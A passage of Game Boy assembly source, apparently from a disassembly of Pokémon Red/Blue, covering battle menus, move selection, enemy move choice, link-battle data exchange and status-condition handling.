wMenuWatchedKeys xor a ld [hl], a ; wLastMenuItem call HandleMenuInput bit 1, a ; was A pressed? jr nz, .partyMonDeselected ; if B was pressed, jump ; A was pressed call PlaceUnfilledArrowMenuCursor ld a, [wCurrentMenuItem] cp $2 ; was Cancel selected? jr z, .quitPartyMenu ; if so, quit the party menu entirely and a ; was Switch selected? jr z, .switchMon ; if so, jump ; Stats was selected xor a ; PLAYER_PARTY_DATA ld [wMonDataLocation], a ld hl, wPartyMon1 call ClearSprites ; display the two status screens predef StatusScreen predef StatusScreen2 ; now we need to reload the enemy mon pic ld a, [wEnemyBattleStatus2] bit HAS_SUBSTITUTE_UP, a ; does the enemy mon have a substitute? ld hl, AnimationSubstitute jr nz, .doEnemyMonAnimation ; enemy mon doesn't have substitute ld a, [wEnemyMonMinimized] and a ; has the enemy mon used Minimise? ld hl, AnimationMinimizeMon jr nz, .doEnemyMonAnimation ; enemy mon is not minimised ld a, [wEnemyMonSpecies] ld [wcf91], a ld [wd0b5], a call GetMonHeader ld de, vFrontPic call LoadMonFrontSprite jr .enemyMonPicReloaded .doEnemyMonAnimation ld b, BANK(AnimationSubstitute) ; BANK(AnimationMinimizeMon) call Bankswitch .enemyMonPicReloaded ; enemy mon pic has been reloaded, so return to the party menu jp .partyMenuWasSelected .switchMon ld a, [wPlayerMonNumber] ld d, a ld a, [wWhichPokemon] cp d ; check if the mon to switch to is already out jr nz, .notAlreadyOut ; mon is already out ld hl, AlreadyOutText call PrintText jp .partyMonDeselected .notAlreadyOut call HasMonFainted jp z, .partyMonDeselected ; can't switch to fainted mon ld a, $1 ld [wActionResultOrTookBattleTurn], a call GBPalWhiteOut call ClearSprites call LoadHudTilePatterns call LoadScreenTilesFromBuffer1 call RunDefaultPaletteCommand call GBPalNormal ; fall through to SwitchPlayerMon SwitchPlayerMon: callab RetreatMon ld c, 50 call DelayFrames call AnimateRetreatingPlayerMon ld a, [wWhichPokemon] ld [wPlayerMonNumber], a ld c, a ld b, FLAG_SET push bc ld hl, wPartyGainExpFlags predef FlagActionPredef pop bc ld hl, wPartyFoughtCurrentEnemyFlags predef FlagActionPredef call LoadBattleMonFromParty call SendOutMon call SaveScreenTilesToBuffer1 ld a, $2 ld [wCurrentMenuItem], a and a ret AlreadyOutText: TX_FAR _AlreadyOutText db "@" BattleMenu_RunWasSelected: call LoadScreenTilesFromBuffer1 ld a, $3 ld [wCurrentMenuItem], a ld hl, wBattleMonSpeed ld de, wEnemyMonSpeed call TryRunningFromBattle ld a, 0 ld [wForcePlayerToChooseMon], a ret c ld a, [wActionResultOrTookBattleTurn] and a ret nz ; return if the player couldn't escape jp DisplayBattleMenu MoveSelectionMenu: ld a, [wMoveMenuType] dec a jr z, .mimicmenu dec a jr z, .relearnmenu jr .regularmenu .loadmoves ld de, wMoves ld bc, NUM_MOVES call CopyData callab FormatMovesString ret .writemoves ld de, wMovesString ld a, [hFlags_0xFFF6] set 2, a ld [hFlags_0xFFF6], a call PlaceString ld a, [hFlags_0xFFF6] res 2, a ld [hFlags_0xFFF6], a ret .regularmenu call AnyMoveToSelect ret z ld hl, wBattleMonMoves call .loadmoves coord hl, 4, 12 ld b, 4 ld c, 14 di ; out of pure coincidence, it is possible for vblank to occur between the di and ei ; so it is necessary to put the di ei block to not cause tearing call TextBoxBorder coord hl, 4, 12 ld [hl], $7a coord hl, 10, 12 ld [hl], $7e ei coord hl, 6, 13 call .writemoves ld b, $5 ld a, $c jr .menuset .mimicmenu ld hl, wEnemyMonMoves call .loadmoves coord hl, 0, 7 ld b, 4 ld c, 14 call TextBoxBorder coord hl, 2, 8 call .writemoves ld b, $1 ld a, $7 jr .menuset .relearnmenu ld a, [wWhichPokemon] ld hl, wPartyMon1Moves ld bc, wPartyMon2 - wPartyMon1 call AddNTimes call .loadmoves coord hl, 4, 7 ld b, 4 ld c, 14 call TextBoxBorder coord hl, 6, 8 call .writemoves ld b, $5 ld a, $7 .menuset ld hl, wTopMenuItemY ld [hli], a ; wTopMenuItemY ld a, b ld [hli], a ; wTopMenuItemX ld a, [wMoveMenuType] cp $1 jr z, .selectedmoveknown ld a, $1 jr nc, .selectedmoveknown ld a, [wPlayerMoveListIndex] inc a .selectedmoveknown ld [hli], a ; wCurrentMenuItem inc hl ; wTileBehindCursor untouched ld a, [wNumMovesMinusOne] inc a inc a ld [hli], a ; wMaxMenuItem ld a, [wMoveMenuType] dec a ld b, D_UP | D_DOWN | A_BUTTON jr z, .matchedkeyspicked dec a ld b, D_UP | D_DOWN | A_BUTTON | B_BUTTON jr z, .matchedkeyspicked ld a, [wLinkState] cp LINK_STATE_BATTLING jr z, .matchedkeyspicked ld a, [wFlags_D733] bit BIT_TEST_BATTLE, a ld b, D_UP | D_DOWN | A_BUTTON | B_BUTTON | SELECT jr z, .matchedkeyspicked ld b, $ff .matchedkeyspicked ld a, b ld [hli], a ; wMenuWatchedKeys ld a, [wMoveMenuType] cp $1 jr z, .movelistindex1 ld a, [wPlayerMoveListIndex] inc a .movelistindex1 ld [hl], a ; fallthrough SelectMenuItem: ld a, [wMoveMenuType] and a jr z, .battleselect dec a jr nz, .select coord hl, 1, 14 ld de, WhichTechniqueString call PlaceString jr .select .battleselect ld a, [wFlags_D733] bit BIT_TEST_BATTLE, a jr nz, .select call PrintMenuItem ld a, [wMenuItemToSwap] and a jr z, .select coord hl, 5, 13 dec a ld bc, SCREEN_WIDTH call AddNTimes ld [hl], "β–·" .select ld hl, hFlags_0xFFF6 set 1, [hl] call HandleMenuInput ld hl, hFlags_0xFFF6 res 1, [hl] bit 6, a jp nz, SelectMenuItem_CursorUp ; up bit 7, a jp nz, SelectMenuItem_CursorDown ; down bit 2, a jp nz, SwapMovesInMenu ; select bit 1, a ; B, but was it reset above? push af xor a ld [wMenuItemToSwap], a ld a, [wCurrentMenuItem] dec a ld [wCurrentMenuItem], a ld b, a ld a, [wMoveMenuType] dec a ; if not mimic jr nz, .notB pop af ret .notB dec a ld a, b ld [wPlayerMoveListIndex], a jr nz, .moveselected pop af ret .moveselected pop af ret nz ld hl, wBattleMonPP ld a, [wCurrentMenuItem] ld c, a ld b, $0 add hl, bc ld a, [hl] and $3f jr z, .noPP ld a, [wPlayerDisabledMove] swap a and $f dec a cp c jr z, .disabled ld a, [wPlayerBattleStatus3] bit 3, a ; transformed jr nz, .dummy ; game freak derp .dummy ld a, [wCurrentMenuItem] ld hl, wBattleMonMoves ld c, a ld b, $0 add hl, bc ld a, [hl] ld [wPlayerSelectedMove], a xor a ret .disabled ld hl, MoveDisabledText jr .print .noPP ld hl, MoveNoPPText .print call PrintText call LoadScreenTilesFromBuffer1 jp MoveSelectionMenu MoveNoPPText: TX_FAR _MoveNoPPText db "@" MoveDisabledText: TX_FAR _MoveDisabledText db "@" WhichTechniqueString: db "WHICH TECHNIQUE?@" SelectMenuItem_CursorUp: ld a, [wCurrentMenuItem] and a jp nz, SelectMenuItem call EraseMenuCursor ld a, [wNumMovesMinusOne] inc a ld [wCurrentMenuItem], a jp SelectMenuItem SelectMenuItem_CursorDown: ld a, [wCurrentMenuItem] ld b, a ld a, [wNumMovesMinusOne] inc a inc a cp b jp nz, SelectMenuItem call EraseMenuCursor ld a, $1 ld [wCurrentMenuItem], a jp SelectMenuItem AnyMoveToSelect: ; return z and Struggle as the selected move if all moves have 0 PP and/or are disabled ld a, STRUGGLE ld [wPlayerSelectedMove], a ld a, [wPlayerDisabledMove] and a ld hl, wBattleMonPP jr nz, .handleDisabledMove ld a, [hli] or [hl] inc hl or [hl] inc hl or [hl] and $3f ret nz jr .noMovesLeft .handleDisabledMove swap a and $f ; get disabled move ld b, a ld d, NUM_MOVES + 1 xor a .handleDisabledMovePPLoop dec d jr z, .allMovesChecked ld c, [hl] ; get move PP inc hl dec b ; is this the disabled move? jr z, .handleDisabledMovePPLoop ; if so, ignore its PP value or c jr .handleDisabledMovePPLoop .allMovesChecked and a ; any PP left? ret nz ; return if a move has PP left .noMovesLeft ld hl, NoMovesLeftText call PrintText ld c, 60 call DelayFrames xor a ret NoMovesLeftText: TX_FAR _NoMovesLeftText db "@" SwapMovesInMenu: ld a, [wMenuItemToSwap] and a jr z, .noMenuItemSelected ld hl, wBattleMonMoves call .swapBytes ; swap moves ld hl, wBattleMonPP call .swapBytes ; swap move PP ; update the index of the disabled move if necessary ld hl, wPlayerDisabledMove ld a, [hl] swap a and $f ld b, a ld a, [wCurrentMenuItem] cp b jr nz, .next ld a, [hl] and $f ld b, a ld a, [wMenuItemToSwap] swap a add b ld [hl], a jr .swapMovesInPartyMon .next ld a, [wMenuItemToSwap] cp b jr nz, .swapMovesInPartyMon ld a, [hl] and $f ld b, a ld a, [wCurrentMenuItem] swap a add b ld [hl], a .swapMovesInPartyMon ld hl, wPartyMon1Moves ld a, [wPlayerMonNumber] ld bc, wPartyMon2 - wPartyMon1 call AddNTimes push hl call .swapBytes ; swap moves pop hl ld bc, wPartyMon1PP - wPartyMon1Moves add hl, bc call .swapBytes ; swap move PP xor a ld [wMenuItemToSwap], a ; deselect the item jp MoveSelectionMenu .swapBytes push hl ld a, [wMenuItemToSwap] dec a ld c, a ld b, 0 add hl, bc ld d, h ld e, l pop hl ld a, [wCurrentMenuItem] dec a ld c, a ld b, 0 add hl, bc ld a, [de] ld b, [hl] ld [hl], a ld a, b ld [de], a ret .noMenuItemSelected ld a, [wCurrentMenuItem] ld [wMenuItemToSwap], a ; select the current menu item for swapping jp MoveSelectionMenu PrintMenuItem: xor a ld [H_AUTOBGTRANSFERENABLED], a coord hl, 0, 8 ld b, 3 ld c, 9 call TextBoxBorder ld a, [wPlayerDisabledMove] and a jr z, .notDisabled swap a and $f ld b, a ld a, [wCurrentMenuItem] cp b jr nz, .notDisabled coord hl, 1, 10 ld de, DisabledText call PlaceString jr .moveDisabled .notDisabled ld hl, wCurrentMenuItem dec [hl] xor a ld [H_WHOSETURN], a ld hl, wBattleMonMoves ld a, [wCurrentMenuItem] ld c, a ld b, $0 ; which item in the menu is the cursor pointing to? (0-3) add hl, bc ; point to the item (move) in memory ld a, [hl] ld [wPlayerSelectedMove], a ; update wPlayerSelectedMove even if the move ; isn't actually selected (just pointed to by the cursor) ld a, [wPlayerMonNumber] ld [wWhichPokemon], a ld a, BATTLE_MON_DATA ld [wMonDataLocation], a callab GetMaxPP ld hl, wCurrentMenuItem ld c, [hl] inc [hl] ld b, $0 ld hl, wBattleMonPP add hl, bc ld a, [hl] and $3f ld [wcd6d], a ; print TYPE/<type> and <curPP>/<maxPP> coord hl, 1, 9 ld de, TypeText call PlaceString coord hl, 7, 11 ld [hl], "/" coord hl, 5, 9 ld [hl], "/" coord hl, 5, 11 ld de, wcd6d lb bc, 1, 2 call PrintNumber coord hl, 8, 11 ld de, wMaxPP lb bc, 1, 2 call PrintNumber call GetCurrentMove coord hl, 2, 10 predef PrintMoveType .moveDisabled ld a, $1 ld [H_AUTOBGTRANSFERENABLED], a jp Delay3 DisabledText: db "disabled!@" TypeText: db "TYPE@" SelectEnemyMove: ld a, [wLinkState] sub LINK_STATE_BATTLING jr nz, .noLinkBattle ; link battle call SaveScreenTilesToBuffer1 call LinkBattleExchangeData call LoadScreenTilesFromBuffer1 ld a, [wSerialExchangeNybbleReceiveData] cp LINKBATTLE_STRUGGLE jp z, .linkedOpponentUsedStruggle cp LINKBATTLE_NO_ACTION jr z, .unableToSelectMove cp 4 ret nc ld [wEnemyMoveListIndex], a ld c, a ld hl, wEnemyMonMoves ld b, 0 add hl, bc ld a, [hl] jr .done .noLinkBattle ld a, [wEnemyBattleStatus2] and (1 << NEEDS_TO_RECHARGE) | (1 << USING_RAGE) ; need to recharge or using rage ret nz ld hl, wEnemyBattleStatus1 ld a, [hl] and (1 << CHARGING_UP) | (1 << THRASHING_ABOUT) ; using a charging move or thrash/petal dance ret nz ld a, [wEnemyMonStatus] and SLP | 1 << FRZ ; sleeping or frozen ret nz ld a, [wEnemyBattleStatus1] and (1 << USING_TRAPPING_MOVE) | (1 << STORING_ENERGY) ; using a trapping move like wrap or bide ret nz ld a, [wPlayerBattleStatus1] bit USING_TRAPPING_MOVE, a ; caught in player's trapping move (e.g. wrap) jr z, .canSelectMove .unableToSelectMove ld a, $ff jr .done .canSelectMove ld hl, wEnemyMonMoves+1 ; 2nd enemy move ld a, [hld] and a jr nz, .atLeastTwoMovesAvailable ld a, [wEnemyDisabledMove] and a ld a, STRUGGLE ; struggle if the only move is disabled jr nz, .done .atLeastTwoMovesAvailable ld a, [wIsInBattle] dec a jr z, .chooseRandomMove ; wild encounter callab AIEnemyTrainerChooseMoves .chooseRandomMove push hl call BattleRandom ld b, $1 cp $3f ; select move 1, [0,3e] (63/256 chance) jr c, .moveChosen inc hl inc b cp $7f ; select move 2, [3f,7e] (64/256 chance) jr c, .moveChosen inc hl inc b cp $be ; select move 3, [7f,bd] (63/256 chance) jr c, .moveChosen inc hl inc b ; select move 4, [be,ff] (66/256 chance) .moveChosen ld a, b dec a ld [wEnemyMoveListIndex], a ld a, [wEnemyDisabledMove] swap a and $f cp b ld a, [hl] pop hl jr z, .chooseRandomMove ; move disabled, try again and a jr z, .chooseRandomMove ; move non-existant, try again .done ld [wEnemySelectedMove], a ret .linkedOpponentUsedStruggle ld a, STRUGGLE jr .done ; this appears to exchange data with the other gameboy during link battles LinkBattleExchangeData: ld a, $ff ld [wSerialExchangeNybbleReceiveData], a ld a, [wPlayerMoveListIndex] cp LINKBATTLE_RUN ; is the player running from battle? jr z, .doExchange ld a, [wActionResultOrTookBattleTurn] and a ; is the player switching in another mon? jr nz, .switching ; the player used a move ld a, [wPlayerSelectedMove] cp STRUGGLE ld b, LINKBATTLE_STRUGGLE jr z, .next dec b ; LINKBATTLE_NO_ACTION inc a ; does move equal -1 (i.e. no action)? jr z, .next ld a, [wPlayerMoveListIndex] jr .doExchange .switching ld a, [wWhichPokemon] add 4 ld b, a .next ld a, b .doExchange ld [wSerialExchangeNybbleSendData], a callab PrintWaitingText .syncLoop1 call Serial_ExchangeNybble call DelayFrame ld a, [wSerialExchangeNybbleReceiveData] inc a jr z, .syncLoop1 ld b, 10 .syncLoop2 call DelayFrame call Serial_ExchangeNybble dec b jr nz, .syncLoop2 ld b, 10 .syncLoop3 call DelayFrame call Serial_SendZeroByte dec b jr nz, .syncLoop3 ret ExecutePlayerMove: xor a ld [H_WHOSETURN], a ; set player's turn ld a, [wPlayerSelectedMove] inc a jp z, ExecutePlayerMoveDone ; for selected move = FF, skip most of player's turn xor a ld [wMoveMissed], a ld [wMonIsDisobedient], a ld [wMoveDidntMiss], a ld a, $a ld [wDamageMultipliers], a ld a, [wActionResultOrTookBattleTurn] and a ; has the player already used the turn (e.g. by using an item, trying to run or switching pokemon) jp nz, ExecutePlayerMoveDone call PrintGhostText jp z, ExecutePlayerMoveDone call CheckPlayerStatusConditions jr nz, .playerHasNoSpecialCondition jp hl .playerHasNoSpecialCondition call GetCurrentMove ld hl, wPlayerBattleStatus1 bit CHARGING_UP, [hl] ; charging up for attack jr nz, PlayerCanExecuteChargingMove call CheckForDisobedience jp z, ExecutePlayerMoveDone CheckIfPlayerNeedsToChargeUp: ld a, [wPlayerMoveEffect] cp CHARGE_EFFECT jp z, JumpMoveEffect cp FLY_EFFECT jp z, JumpMoveEffect jr PlayerCanExecuteMove ; in-battle stuff PlayerCanExecuteChargingMove: ld hl, wPlayerBattleStatus1 res CHARGING_UP, [hl] ; reset charging up and invulnerability statuses if mon was charging up for an attack ; being fully paralyzed or hurting oneself in confusion removes charging up status ; resulting in the Pokemon being invulnerable for the whole battle res INVULNERABLE, [hl] PlayerCanExecuteMove: call PrintMonName1Text ld hl, DecrementPP ld de, wPlayerSelectedMove ; pointer to the move just used ld b, BANK(DecrementPP) call Bankswitch ld a, [wPlayerMoveEffect] ; effect of the move just used ld hl, ResidualEffects1 ld de, 1 call IsInArray jp c, JumpMoveEffect ; ResidualEffects1 moves skip damage calculation and accuracy tests ; unless executed as part of their exclusive effect functions ld a, [wPlayerMoveEffect] ld hl, SpecialEffectsCont ld de, 1 call IsInArray call c, JumpMoveEffect ; execute the effects of SpecialEffectsCont moves (e.g. Wrap, Thrash) but don't skip anything PlayerCalcMoveDamage: ld a, [wPlayerMoveEffect] ld hl, SetDamageEffects ld de, 1 call IsInArray jp c, .moveHitTest ; SetDamageEffects moves (e.g. Seismic Toss and Super Fang) skip damage calculation call CriticalHitTest call HandleCounterMove jr z, handleIfPlayerMoveMissed call GetDamageVarsForPlayerAttack call CalculateDamage jp z, playerCheckIfFlyOrChargeEffect ; for moves with 0 BP, skip any further damage calculation and, for now, skip MoveHitTest ; for these moves, accuracy tests will only occur if they are called as part of the effect itself call AdjustDamageForMoveType call RandomizeDamage .moveHitTest call MoveHitTest handleIfPlayerMoveMissed: ld a, [wMoveMissed] and a jr z, getPlayerAnimationType ld a, [wPlayerMoveEffect] sub EXPLODE_EFFECT jr z, playPlayerMoveAnimation ; don't play any animation if the move missed, unless it was EXPLODE_EFFECT jr playerCheckIfFlyOrChargeEffect getPlayerAnimationType: ld a, [wPlayerMoveEffect] and a ld a, 4 ; move has no effect other than dealing damage jr z, playPlayerMoveAnimation ld a, 5 ; move has effect playPlayerMoveAnimation: push af ld a, [wPlayerBattleStatus2] bit HAS_SUBSTITUTE_UP, a ld hl, HideSubstituteShowMonAnim ld b, BANK(HideSubstituteShowMonAnim) call nz, Bankswitch pop af ld [wAnimationType], a ld a, [wPlayerMoveNum] call PlayMoveAnimation call HandleExplodingAnimation call DrawPlayerHUDAndHPBar ld a, [wPlayerBattleStatus2] bit HAS_SUBSTITUTE_UP, a ld hl, ReshowSubstituteAnim ld b, BANK(ReshowSubstituteAnim) call nz, Bankswitch jr MirrorMoveCheck playerCheckIfFlyOrChargeEffect: ld c, 30 call DelayFrames ld a, [wPlayerMoveEffect] cp FLY_EFFECT jr z, .playAnim cp CHARGE_EFFECT jr z, .playAnim jr MirrorMoveCheck .playAnim xor a ld [wAnimationType], a ld a, STATUS_AFFECTED_ANIM call PlayMoveAnimation MirrorMoveCheck: ld a, [wPlayerMoveEffect] cp MIRROR_MOVE_EFFECT jr nz, .metronomeCheck call MirrorMoveCopyMove jp z, ExecutePlayerMoveDone xor a ld [wMonIsDisobedient], a jp CheckIfPlayerNeedsToChargeUp ; if Mirror Move was successful go back to damage calculation for copied move .metronomeCheck cp METRONOME_EFFECT jr nz, .next call MetronomePickMove jp CheckIfPlayerNeedsToChargeUp ; Go back to damage calculation for the move picked by Metronome .next ld a, [wPlayerMoveEffect] ld hl, ResidualEffects2 ld de, 1 call IsInArray jp c, JumpMoveEffect ; done here after executing effects of ResidualEffects2 ld a, [wMoveMissed] and a jr z, .moveDidNotMiss call PrintMoveFailureText ld a, [wPlayerMoveEffect] cp EXPLODE_EFFECT ; even if Explosion or Selfdestruct missed, its effect still needs to be activated jr z, .notDone jp ExecutePlayerMoveDone ; otherwise, we're done if the move missed .moveDidNotMiss call ApplyAttackToEnemyPokemon call PrintCriticalOHKOText callab DisplayEffectiveness ld a, 1 ld [wMoveDidntMiss], a .notDone ld a, [wPlayerMoveEffect] ld hl, AlwaysHappenSideEffects ld de, 1 call IsInArray call c, JumpMoveEffect ; not done after executing effects of AlwaysHappenSideEffects ld hl, wEnemyMonHP ld a, [hli] ld b, [hl] or b ret z ; don't do anything else if the enemy fainted call HandleBuildingRage ld hl, wPlayerBattleStatus1 bit ATTACKING_MULTIPLE_TIMES, [hl] jr z, .executeOtherEffects ld a, [wPlayerNumAttacksLeft] dec a ld [wPlayerNumAttacksLeft], a jp nz, getPlayerAnimationType ; for multi-hit moves, apply attack until PlayerNumAttacksLeft hits 0 or the enemy faints. ; damage calculation and accuracy tests only happen for the first hit res ATTACKING_MULTIPLE_TIMES, [hl] ; clear attacking multiple times status when all attacks are over ld hl, MultiHitText call PrintText xor a ld [wPlayerNumHits], a .executeOtherEffects ld a, [wPlayerMoveEffect] and a jp z, ExecutePlayerMoveDone ld hl, SpecialEffects ld de, 1 call IsInArray call nc, JumpMoveEffect ; move effects not included in SpecialEffects or in either of the ResidualEffect arrays, ; which are the effects not covered yet. Rage effect will be executed for a second time (though it's irrelevant). ; Includes side effects that only need to be called if the target didn't faint. ; Responsible for executing Twineedle's second side effect (poison). jp ExecutePlayerMoveDone MultiHitText: TX_FAR _MultiHitText db "@" ExecutePlayerMoveDone: xor a ld [wActionResultOrTookBattleTurn], a ld b, 1 ret PrintGhostText: ; print the ghost battle messages call IsGhostBattle ret nz ld a, [H_WHOSETURN] and a jr nz, .Ghost ld a, [wBattleMonStatus] ; player’s turn and SLP | (1 << FRZ) ret nz ld hl, ScaredText call PrintText xor a ret .Ghost ; ghost’s turn ld hl, GetOutText call PrintText xor a ret ScaredText: TX_FAR _ScaredText db "@" GetOutText: TX_FAR _GetOutText db "@" IsGhostBattle: ld a, [wIsInBattle] dec a ret nz ld a, [wCurMap] cp POKEMON_TOWER_1F jr c, .next cp MR_FUJIS_HOUSE jr nc, .next ld b, SILPH_SCOPE call IsItemInBag ret z .next ld a, 1 and a ret ; checks for various status conditions affecting the player mon ; stores whether the mon cannot use a move this turn in Z flag CheckPlayerStatusConditions: ld hl, wBattleMonStatus ld a, [hl] and SLP ; sleep mask jr z, .FrozenCheck ; sleeping dec a ld [wBattleMonStatus], a ; decrement number of turns left and a jr z, .WakeUp ; if the number of turns hit 0, wake up ; fast asleep xor a ld [wAnimationType], a ld a, SLP_ANIM - 1 call PlayMoveAnimation ld hl, FastAsleepText call PrintText jr .sleepDone .WakeUp ld hl, WokeUpText call PrintText .sleepDone xor a ld [wPlayerUsedMove], a ld hl, ExecutePlayerMoveDone ; player can't move this turn jp .returnToHL .FrozenCheck bit FRZ, [hl] ; frozen? jr z, .HeldInPlaceCheck ld hl, IsFrozenText call PrintText xor a ld [wPlayerUsedMove], a ld hl, ExecutePlayerMoveDone ; player can't move this turn jp .returnToHL .HeldInPlaceCheck ld a, [wEnemyBattleStatus1] bit USING_TRAPPING_MOVE, a ; is enemy using a mult-turn move like wrap? jp z, .FlinchedCheck ld hl, CantMoveText call PrintText ld hl, ExecutePlayerMoveDone ; player can't move this turn jp .returnToHL .FlinchedCheck ld hl, wPlayerBattleStatus1 bit FLINCHED, [hl] jp z, .HyperBeamCheck res FLINCHED, [hl] ; reset player's flinch status ld hl, FlinchedText call PrintText ld hl, ExecutePlayerMoveDone ; player can't move this turn jp .returnToHL .HyperBeamCheck ld hl, wPlayerBattleStatus2 bit NEEDS_TO_RECHARGE, [hl] jr z, .AnyMoveDisabledCheck res NEEDS_TO_RECHARGE, [hl] ; reset player's recharge status ld hl, MustRechargeText call PrintText ld hl, ExecutePlayerMoveDone ; player can't move this turn jp .returnToHL .AnyMoveDisabledCheck ld hl, wPlayerDisabledMove ld a, [hl] and a jr z, .ConfusedCheck dec a ld [hl], a and $f ; did Disable counter hit 0? jr nz, .ConfusedCheck ld [hl], a ld [wPlayerDisabledMoveNumber], a ld hl, DisabledNoMoreText call PrintText .ConfusedCheck ld a, [wPlayerBattleStatus1] add a ; is player confused? jr nc, .TriedToUseDisabledMoveCheck ld hl, wPlayerConfusedCounter dec [hl] jr nz, .IsConfused ld hl, wPlayerBattleStatus1 res CONFUSED, [hl] ; if confused counter hit 0, reset confusion status ld hl, ConfusedNoMoreText call PrintText jr .TriedToUseDisabledMoveCheck .IsConfused ld hl, IsConfusedText call PrintText xor a ld [wAnimationType], a ld a, CONF_ANIM - 1 call PlayMoveAnimation call BattleRandom cp $80 ; 50% chance to hurt itself jr c, .TriedToUseDisabledMoveCheck ld hl, wPlayerBattleStatus1 ld a, [hl] and 1 << CONFUSED ; if mon hurts itself, clear every other status from wPlayerBattleStatus1 ld [hl], a call HandleSelfConfusionDamage jr .MonHurtItselfOrFullyParalysed .TriedToUseDisabledMoveCheck ; prevents a disabled move that was selected before being disabled from being used ld a, [wPlayerDisabledMoveNumber] and a jr z, .ParalysisCheck ld hl, wPlayerSelectedMove cp [hl] jr nz, .ParalysisCheck call PrintMoveIsDisabledText ld hl, ExecutePlayerMoveDone ; if a disabled move was somehow selected, player can't move this turn jp .returnToHL .ParalysisCheck ld hl, wBattleMonStatus bit PAR, [hl] jr z, .BideCheck call BattleRandom cp $3F ; 25% to be fully paralyzed jr nc, .BideCheck ld hl, FullyParalyzedText call PrintText .MonHurtItselfOrFullyParalysed ld hl, wPlayerBattleStatus1 ld a, [hl] ; clear bide, thrashing, charging up, and trapping moves such as warp (already cleared for confusion damage) and $ff ^ ((1 << STORING_ENERGY) | (1 << THRASHING_ABOUT) | (1 << CHARGING_UP) | (1 << USING_TRAPPING_MOVE)) ld [hl], a ld a, [wPlayerMoveEffect] cp FLY_EFFECT jr z, .FlyOrChargeEffect cp CHARGE_EFFECT jr z, .FlyOrChargeEffect jr .NotFlyOrChargeEffect .FlyOrChargeEffect xor a ld [wAnimationType], a ld a, STATUS_AFFECTED_ANIM call PlayMoveAnimation .NotFlyOrChargeEffect ld hl, ExecutePlayerMoveDone jp .returnToHL ; if using a two-turn move, we need to recharge the first turn .BideCheck ld hl, wPlayerBattleStatus1 bit STORING_ENERGY, [hl] ; is mon using bide? jr z, .ThrashingAboutCheck xor a ld [wPlayerMoveNum], a ld hl, wDamage ld a, [hli] ld b, a ld c, [hl] ld hl, wPlayerBideAccumulatedDamage + 1 ld a, [hl] add c ; accumulate damage taken ld [hld], a ld a, [hl] adc b ld [hl], a ld hl, wPlayerNumAttacksLeft dec [hl] ; did Bide counter hit 0? jr z, .UnleashEnergy ld hl, ExecutePlayerMoveDone jp .returnToHL ; unless mon unleashes energy, can't move this turn .UnleashEnergy ld hl, wPlayerBattleStatus1 res STORING_ENERGY, [hl] ; not using bide any more ld hl, UnleashedEnergyText call PrintText ld a, 1 ld [wPlayerMovePower], a ld hl, wPlayerBideAccumulatedDamage + 1 ld a, [hld] add a ld b, a ld [wDamage + 1], a ld a, [hl] rl a ; double the damage ld [wDamage], a or b jr nz, .next ld a, 1 ld [wMoveMissed], a .next xor a ld [hli], a ld [hl], a ld a, BIDE ld [wPlayerMoveNum], a ld hl, handleIfPlayerMoveMissed ; skip damage calculation, DecrementPP and MoveHitTest jp .returnToHL .ThrashingAboutCheck bit THRASHING_ABOUT, [hl] ; is mon using thrash or petal dance? jr z, .MultiturnMoveCheck ld a, THRASH ld [wPlayerMoveNum], a ld hl, ThrashingAboutText call PrintText ld hl, wPlayerNumAttacksLeft dec [hl] ; did Thrashing About counter hit 0? ld hl, PlayerCalcMoveDamage ; skip DecrementPP jp nz, .returnToHL push hl ld hl, wPlayerBattleStatus1 res THRASHING_ABOUT, [hl] ; no longer thrashing about set CONFUSED, [hl] ; confused call BattleRandom and 3 inc a inc a ; confused for 2-5 turns ld [wPlayerConfusedCounter], a pop hl ; skip DecrementPP jp .returnToHL .MultiturnMoveCheck bit USING_TRAPPING_MOVE, [hl] ; is mon using multi-turn move? jp z, .RageCheck ld hl, AttackContinuesText call PrintText ld a, [wPlayerNumAttacksLeft] dec a ; did multi-turn move end? ld [wPlayerNumAttacksLeft], a ld hl, getPlayerAnimationType ; if it didn't, skip damage calculation (deal damage equal to last hit), ; DecrementPP and MoveHitTest jp nz, .returnToHL jp .returnToHL .RageCheck ld a, [wPlayerBattleStatus2] bit USING_RAGE, a ; is mon using rage? jp z, .checkPlayerStatusConditionsDone ; if we made it this far, mon can move normally this turn ld a, RAGE ld [wd11e], a call GetMoveName call CopyStringToCF4B xor a ld [wPlayerMoveEffect], a ld hl, PlayerCanExecuteMove jp .returnToHL .returnToHL xor a ret .checkPlayerStatusConditionsDone ld a, $1 and a ret FastAsleepText: TX_FAR _FastAsleepText db "@" WokeUpText: TX_FAR _WokeUpText db "@" IsFrozenText: TX_FAR _IsFrozenText db "@" FullyParalyzedText: TX_FAR _FullyParalyzedText db "@" FlinchedText: TX_FAR _FlinchedText db "@" MustRechargeText: TX_FAR _MustRechargeText db "@" DisabledNoMoreText: TX_FAR _DisabledNoMoreText db "@" IsConfusedText: TX_FAR _IsConfusedText db "@" HurtItselfText: TX_FAR _HurtItselfText db "@" ConfusedNoMoreText: TX_FAR _ConfusedNoMoreText db "@" SavingEnergyText: TX_FAR _SavingEnergyText db "@" UnleashedEnergyText: TX_FAR _UnleashedEnergyText db "@" ThrashingAboutText: TX_FAR _ThrashingAboutText db "@" AttackContinuesText: TX_FAR _AttackContinuesText db "@" CantMoveText: TX_FAR _CantMoveText db "@" PrintMoveIsDisabledText: ld hl, wPlayerSelectedMove ld de, wPlayerBattleStatus1 ld a, [H_WHOSETURN] and a jr z, .removeChargingUp inc hl ld de, wEnemyBattleStatus1 .removeChargingUp ld a, [de] res CHARGING_UP, a ; end the pokemon's ld [de], a ld a, [hl] ld [wd11e], a call GetMoveName ld hl, MoveIsDisabledText jp PrintText MoveIsDisabledText: TX_FAR _MoveIsDisabledText db "@" HandleSelfConfusionDamage: ld hl, HurtItselfText call PrintText ld hl, wEnemyMonDefense ld a, [hli] push af ld a, [hld] push af ld a, [wBattleMonDefense] ld [hli], a ld a, [wBattleMonDefense + 1] ld [hl], a ld hl, wPlayerMoveEffect push hl ld a, [hl] push af xor a ld [hli], a ld [wCriticalHitOrOHKO], a ; self-inflicted confusion damage can't be a Critical Hit ld a, 40 ; 40 base power ld [hli], a xor a ld [hl], a call GetDamageVarsForPlayerAttack call CalculateDamage ; ignores AdjustDamageForMoveType (type-less damage), RandomizeDamage, ; and MoveHitTest (always hits) pop af pop hl ld [hl], a ld hl, wEnemyMonDefense + 1 pop af ld [hld], a pop af ld [hl], a xor a ld [wAnimationType], a inc a ld [H_WHOSETURN], a call PlayMoveAnimation call DrawPlayerHUDAndHPBar xor a ld [H_WHOSETURN], a jp ApplyDamageToPlayerPokemon 